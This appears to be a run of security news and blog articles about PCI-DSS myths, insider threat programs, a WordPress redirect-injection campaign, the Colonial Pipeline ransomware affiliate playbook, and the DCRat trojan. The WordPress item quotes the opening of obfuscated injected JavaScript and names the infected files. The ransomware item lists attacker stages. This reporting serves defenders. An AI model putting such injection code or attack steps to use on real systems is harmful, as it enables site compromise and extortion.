It doesn’t matter if you don’t consider yourself a fully-fledged business, if it’s not your primary activity, or if card payments are an insignificant part of your overall revenue. PCI-DSS applies in some form to all entities that process, store, or transmit cardholder data without exception. Nothing more to say about this one.


Like many good myths, this one at least has some origin in truth.

Certainly, if you use your own IT network and computing or even telephony resources to store, process or transmit cardholder data without any adequate means of network separation, then yes, it is fact. It could also rightly be stated that most of the PCI-DSS measures are simply good practice which organizations should be adhering to anyway. The level of rigor to which certain controls need to be applied may not always be practical or appropriate for areas of the environment who have nothing to do with card payments, however. A sensible approach is to, therefore, reduce the scope of the cardholder data environment (CDE) by segmenting elements of network where payment related activity occurs. Do remember though, that wherever network segmentation is being used to reduce scope it must be verified at least annually as being truly effective and robust by your PCI assessor.

Whilst scoping of the CDE is the first essential step for all merchants on their road to compliance, for large and diverse environments with a range of payment channels, such an exercise in itself is rarely a straightforward task. It’s advisable for that reason to initially consult with a qualified PCI assessor as well as your acquirer who will ultimately have to agree on the scope. They may also advise on other ways of reducing risk and therefore compliance scope such as through the use of certified point-to-point encryption solutions or the transfer of payment activities away from your network altogether. Which takes us directly on to discussing another area of confusion.


Again, there is a grain of truth here but one that is all too frequently misconstrued.

Outsourcing your payment activity to an already compliant payments service provider (PSP) may well relieve you of the costs and associated ‘heavy lifting’ of applying and maintaining all of the necessary technical controls yourself. Particularly where such activity is far-removed from your core business and staff skill sets. As per Requirement 12.8 in the standard, however, due diligence needs to be conducted before any such engagement, and it still remains the merchant’s responsibility to appropriately manage their providers. At the very least via written agreements, policies and procedures. The service provider’s own compliance scope must, therefore, be fully understood and its status continually monitored.

It is important to consider that this doesn’t just apply to external entities directly processing payments on your behalf but also to any service provider who can control or impact the security of cardholder data. It’s therefore likely to include any outsourced IT service providers you may have. This will require a decent understanding of the suppliers Report or Attestation of Compliance (ROC or AOC), and where this is not sufficient to meet your own activity, they may even need to be included within your own PCI scope. Depending on the supplier or, service this may, of course, be a complex arrangement to manage.


PCI is indeed pragmatic enough to permit the use of compensatory controls. But only where there is either a legitimate technical constraint or documented business constraint that genuinely precludes implementing a control in its original stated form. This is certainly not to be misjudged as a ‘soft option,’ however, nor a way of ‘getting around’ controls which are just difficult or unpopular to implement.

In fact, the criteria for an assessor accepting a compensatory control (or whole range of controls to compensate a single one in some cases) means that that the alternative proposition must fully meet the intent and rigor of the original requirement. Compensatory controls are also expected to go ‘above and beyond’ any other PCI controls in place and must demonstrate that they will provide a similar level of defense. They will also need to be thoroughly revaluated after any related change in addition to the overall annual assessment. In many cases and especially over the longer term, this may result in maintaining something that is a harder and costlier overhead to efficiently manage than the original control itself. Wherever possible, compensatory controls should only be considered as temporary measure whilst addressing the technical or business constraint itself.


The Payment Application Data Security Standard (PA-DSS) is another PCI Security Standards Council controlled standard that exists to help software vendors and others develop secure payment applications. It categorically does not, however, follow that purchasing a PA-DSS solution will in itself ensure that a merchant has satisfactorily met the PCI-DSS. Whilst the correct implementation or integration of a PA-DSS verified application will surely assist a merchant in achieving compliance, once again it is only a part of the overall status and set of responsibilities.

IT security vendors of all varieties may also claim to have solutions or modules that although they may have nothing directly to do with payments themselves have been specifically developed with PCI-DSS compliance in mind. They are often sold as PCI-related solutions. If deployed, used and configured correctly, many of these solutions will no doubt support the merchant with their compliance activity whilst tangibly reducing cardholder data risk and hopefully providing wider security benefits. No one technology or solution in itself will make you PCI compliant, however, and anyone telling you (or your board) that it does either does not understand the standard or is peddling ‘snake oil.’ Or both.


PCI-DSS should certainly align and play a key part within a wider security program. It should and cannot be an organizations only security focus, however. Nor should being compliant with any standard be confused with some unfeasible nirvana of being completely ‘secure’ whatever that may mean at any given point in time. There have, after all, been plenty examples of PCI-compliant organizations who have still been harshly and significantly breached. Some reports of high profile incidents have voiced scathing comments about the potentially ostensible nature of the breached organization’s PCI compliance status, even questioning validity of the standard itself. Such derision misses some key points. In the same way that passing a driving test does not guarantee you will never be involved in an accident, reasonably speaking, it will certainly decrease those chances. Far more so than if nobody was ever required to take such a test. PCI or any other security compliance exercise should be viewed with a similar sense of realism and perspective.

Applying PCI-DSS controls correctly, with integrity and unlike a driving test re-assessing them annually, must surely help to reduce the risk of card payment fraud and breaches. More so than if you weren’t. Something that is to everyone’s benefit. It cannot possibly, however, protect against all attacks or take into account every risk scenario. That is for your own wider security risk assessment and security program to deal with. Maybe yes, it’s all far from perfect, but in the sage fictional words of Marvel’s Nick Fury, “SHIELD takes the world as it is, not as we’d like it to be. It’s getting damn near past time for you to get with that program.”

About the Author:Angus Macrae is a CISSP (Certified Information Systems Security Professional) in good standing, a CCP (NCSC Certified Professional for the IT Security Officer role at Senior Practitioner level) and PCIP (PCI SSC Payment Card Industry Professional.) He is currently the IT security lead for King’s Service Centre supporting the services of King’s College London, one of the worlds’ top 20 universities

PCI-DSS QSA Certification – Practice Questions 2022: Questions that will help you practice and advance your knowledge on the PCI-DSS QSA

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How to set up a powerful insider threat program

Security spend continues to focus on external threats despite threats often coming from within the organization. A recent Imperva report (by Forrester Research) found only 18 percent prioritized spend on a dedicated insider threat program (ITP) compared to 25 percent focused on external threat intelligence.

And it’s not just the employee with a grudge you need to worry – most insider incidents are non-malicious in nature. In its 2022 Cost of Insider Threats Global Report, Proofpoint and the Ponemon Institute found careless or negligent behavior accounted for 56 percent of all incidents and these also tend to be the most costly, with the average clean-up operation costing $6.6m.

Failed fixes

Part of the problem lies in perception: The Forrester report found almost a third of those questioned didn’t regard employees as a threat. But it’s also notoriously difficult to prevent these types of incidents because you’re essentially seeking to control legitimate access to data. Mitigating these threats is not just about increasing security but about detecting potential indicators of compromise (IoC) in user behavior and, for this reason, most businesses rely on staff training to address the issue. Yet as the figures above reveal, training alone is often insufficient.

The same Forrester report found that while 65 percent use staff training to ensure compliance with data protection policies, 55 percent said their users have found ways to circumvent those same policies. Others said they rely on point solutions to prevent incidents, with 43 percent using data loss prevention (DLP) to block actions and 29 percent monitoring via the SIEM (although data can still be exfiltrated without detection by these systems). The problem is that network security and employee monitoring both fail to take into account the stress factors that can push resourceful employees resort to use workarounds.

While prevention is always better than cure, the current approach to insider threats is too heavily weighted in its approach. Consequently, there’s insufficient focus on what to do if an insider threat, malicious or not, is realized. So, while training and network security controls do have their part to play, both need to be part of something much more wide ranging: the ITP.

An ITP aligns policies, procedures, and processes across different business departments to address insider threats. It’s widely regarded as critical to the mitigation of insider threats, but only 28 percent of those surveyed by Forrester claim to have one in place. The reason for this is that many organizations find it daunting to set one up. In addition to getting people onboard and policies in place, the business will need to inventory its data and locate data sources, determine how it will monitor behaviors, adapt the training program, and carry out investigations as well as how the ITP itself will be assessed on a regular basis.

Getting started

To begin with, a manager and dedicated working party are required to help steer the ITP. The members will need to have clear roles and responsibilities and to agree to a set code of ethics and/or sign an NDA. This is because there are many laws related to employee privacy and monitoring, as well as legal considerations and concerns that must be factored into the writing and execution of policy. The first job of the working group will be to create an operations plan and put together a high-level version of the insider threat policy.

They’ll then need to consider how to inventory and access internal and external data sources and to do this the working group will need to familiar with record handling and use procedures specific to certain data sets. Once the processes and procedures needed to collect, integrate, and analyze the data have been created, the data should be marked according to its use and so may be related to a privacy investigation. (Interestingly, nearly 58 percent of incidents that impact sensitive data are caused by insider threats, according to Forrester.)

Consider whether you’ll use technology to monitor end user devices, logins, etc. and document this through signed information systems security acknowledgement agreements. Potential indicators of compromise (IoCs) could include database tampering, inappropriate sharing of confidential company information, deletion of files or viewing of inappropriate content. When such behaviors come to light, discretion is critical, and any investigation needs to be watertight and defensible as it may result in a legal case.

Digital forensics for defensibility

How the business responds to and investigates incidents should also be detailed in the ITP. Consider whether the investigation will be internal and at what point you’ll need to involve external agents and who will need to be notified. Where will the data for the investigation be held? How long will the information be held for? While it’s important to retain relevant information, you don’t want to fall into the trap of keeping more than necessary, as this elevates risk, which means ITP should also overlap with a data minimization policy.

Digital forensics tools should be used to enforce the ITP. You’ll need to decide how you proactively manage insider threats and whether these tools will only be used post-analysis or covertly. For example, some businesses with high value assets will carry out a sweep to establish if data has been exfiltrated when an employee leaves the organization. You should also ensure these tools are able to remotely target endpoints and cloud sources even when they’re not connected and should be OS-agnostic so you can capture data on Macs as well as PCs.

Digital forensics ensure the business can quickly capture and investigate any incidence of wrongdoing. For example, it can determine the date, time and pathway used to exfiltrate data from the corporate information estate to any device, endpoint, online storage service such as Google Drive or Dropbox, or even publication over a social media platform. Once the data has been traced, it’s then possible to narrow down likely suspects until the team have indisputable proof.

Both the way the investigation is done and the evidence itself must be beyond reproach and legally defensible because such incidents may lead to dismissal or even prosecution. If challenged in a legal tribunal, the business would then need to prove due diligence so there must be a forensically sound and repeatable process and a proper chain of custody when it comes to safeguarding the handling of the evidence.

Keeping employees onside

insider threat

Insider Threat Program The Ultimate Step-By-Step Guide

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Massive hacking campaign compromised thousands of WordPress websites

Researchers uncovered a massive hacking campaign that compromised thousands of WordPress websites to redirect visitors to scam sites.

Cybersecurity researchers from Sucuri uncovered a massive campaign that compromised thousands of WordPress websites by injecting malicious JavaScript code that redirects visitors to scam content.

The infections automatically redirect site visitors to third-party websites containing malicious content (i.e. phishing pages, malware downloads), scam pages, or commercial websites to generate illegitimate traffic.

“The websites all shared a common issue — malicious JavaScript had been injected within their website’s files and the database, including legitimate core WordPress files, such as:

  • ./wp-includes/js/jquery/jquery.min.js
  • ./wp-includes/js/jquery/jquery-migrate.min.js

“Once the website had been compromised, attackers had attempted to automatically infect any .js files with jQuery in the names. They injected code that begins with “/* trackmyposs*/eval(String.fromCharCode…” reads the analysis published by Sucuri.

WordPress deobfuscated-malicious-javascript

In some attacks, users were redirected to a landing page containing a CAPTCHA check. Upon clicking on the fake CAPTCHA, they’ll be opted in to receive unwanted ads even when the site isn’t open.

The ads will look like they are generated from the operating system and not from a browser.

According to Sucuri, at least 322 websites were compromised as a result of this new wave of attacks and were observed redirecting visitors to the malicious website

“Our team has seen an influx in complaints for this specific wave of the massive campaign targeting WordPress sites beginning May 9th, 2022, which has impacted hundreds of websites already at the time of writing.” concludes the report. “It has been found that attackers are targeting multiple vulnerabilities in WordPress plugins and themes to compromise the website and inject their malicious scripts. We expect the hackers will continue registering new domains for this ongoing campaign as soon as existing ones become blacklisted.”

Website admins could check if their websites have been compromised by using Sucuri’s free remote website scanner.

WordPress Security for Webmaster 2021: How to Stop Hackers Breaking into Your Website

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Colonial Pipeline facing $1,000,000 fine for poor recovery plans

If you were in the US this time last year, you won’t have forgotten, and you may even have been affected by, the ransomware attack on fuel-pumping company Colonial Pipeline.

The organisation was hit by ransomware injected into its network by so-called affiliates of a cybercrime crew known as DarkSide.

DarkSide is an example of what’s known as RaaS, short for ransomware-as-a-service, where a small core team of criminals create the malware and handle any extortion payments from victims, but don’t perform the actual network attacks where the malware gets unleashed.

Teams of “affiliates” (field technicians, you might say), sign up to carry out the attacks, usually in return for the lion’s share of any blackmail money extracted from victims.

The core criminals lurk less visibly in the background, running what is effectively a franchise operation in which they typically pocket 30% (or so they say) of every payment, almost as though they looked to legitimate online services such as Apple’s iTunes or Google Play for a percentage that the market was familiar with.

The front-line attack teams typically:

  • Perform reconnaissance to find targets they think they can breach.
  • Break in to selected companies with vulnerabilities they know how to exploit.
  • Wrangle their way to administrative powers so they are level with the official sysadmins.
  • Map out the network to find every desktop and server system they can.
  • Locate and often neutralise existing backups.
  • Exfiltrate confidential corporate data for extra blackmail leverage.
  • Open up network backdoors so they can sneak back quickly if they’re spotted this time.
  • Gently probe existing malware defences looking for weak or unprotected spots.
  • Turn off or reduce security settings that are getting in their way.
  • Pick a particularly troublesome time of day or night…

…and then they automatically unleash the ransomware code they were supplied with by the core gang members, sometimes scrambling all (or almost all) computers on the network within just a few minutes.

The Disaster Recovery Handbook: A Step-by-Step Plan to Ensure Business Continuity and Protect Vital Operations, Facilities, and Assets 

Business Continuity Planning & Disaster Recovery (ISO 22301)

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DCRat, only $5 for a fully working remote access trojan

Researchers warn of a remote access trojan called DCRat (aka DarkCrystal RAT) that is available for sale on Russian cybercrime forums.

Cybersecurity researchers from BlackBerry are warning of a remote access trojan called DCRat (aka DarkCrystal RAT) that is available for sale on Russian cybercrime forums. The DCRat backdoor is very cheap, it appears to be the work of a lone threat actor that goes online with the monikers of “boldenis44,” “crystalcoder,” and Кодер (“Coder”). Prices for the backdoor start at 500 RUB ($5) for a two-month license, 2,200 RUB ($21) for a year, and 4,200 RUB ($40) for a lifetime subscription.

“Sold predominantly on Russian underground forums, DCRat is one of the cheapest commercial RATs we’ve ever come across. The price for this backdoor starts at 500 RUB (less than 5 GBP/US$6) for a two-month subscription, and occasionally dips even lower during special promotions. No wonder it’s so popular with professional threat actors as well as script kiddies.” reads the report published by BlackBerry.

The author implemented an effective malware and continues to efficiently maintain it. The researchers pointed out that the price for this malware is a fraction of the standard price such RAT on Russian underground forums.

DCRat first appeared in the threat landscape in 2018, but a year later it was redesigned and relaunched.

DCRat is written in .NET and has a modular structure, affiliates could develop their own plugins by using a dedicated integrated development environment (IDE) called DCRat Studio.

The modular architecture of the malware allows to extend its functionalities for multiple malicious purposes, including surveillance, reconnaissance, information theft, DDoS attacks, and arbitrary code execution.

The DCRat consists of three components:

  • A stealer/client executable
  • A single PHP page, serving as the command-and-control (C2) endpoint/interface
  • An administrator tool

“All DCRat marketing and sales operations are done through the popular Russian hacking forum, which also handles some of the DCRat pre-sales queries. DCRat support topics are made available here to the wider public, while the main DCRat offering thread is restricted to registered users only.” continues the report.

The malware is under active development, the author announces any news and updates through a dedicated Telegram channel that had approximately 3k subscribers.

DCRat Telegram announcing discounts and price specials (source BlackBerry)

During recent months, the researchers ofter observed DCRat clients being deployed with the use of Cobalt Strike beacons through the Prometheus TDS (traffic direction system).

DCRat also implements a kill switch, which would render all instances of the DCRat administrator tool unusable, irrespective of subscriber license validity.

The Administrator tool allows subscribers to sign in to an active C2 server, configure (and generate) builds of the DCRat client executable, execute commands on infected systems

Experts concluded that the RAT is maintained daily, which means that the author is working on this project full-time.

“There are certainly programming choices in this threat that point to this being a novice malware author who hasn’t yet figured out an appropriate pricing structure. Choosing to program the threat in JPHP and adding a bizarrely non-functional infection counter certainly point in this direction. It could be that this threat is from an author trying to gain notoriety, doing the best with the knowledge they have to make something popular as quickly as possible.” concludes the report that also includes Indicators of Compromise (IoCs). “While the author’s apparent inexperience might make this malicious tool seem less appealing, some could view it as an opportunity. More experienced threat actors might see this inexperience as a selling point, as the author seems to be putting in a lot of time and effort to please their customers.”

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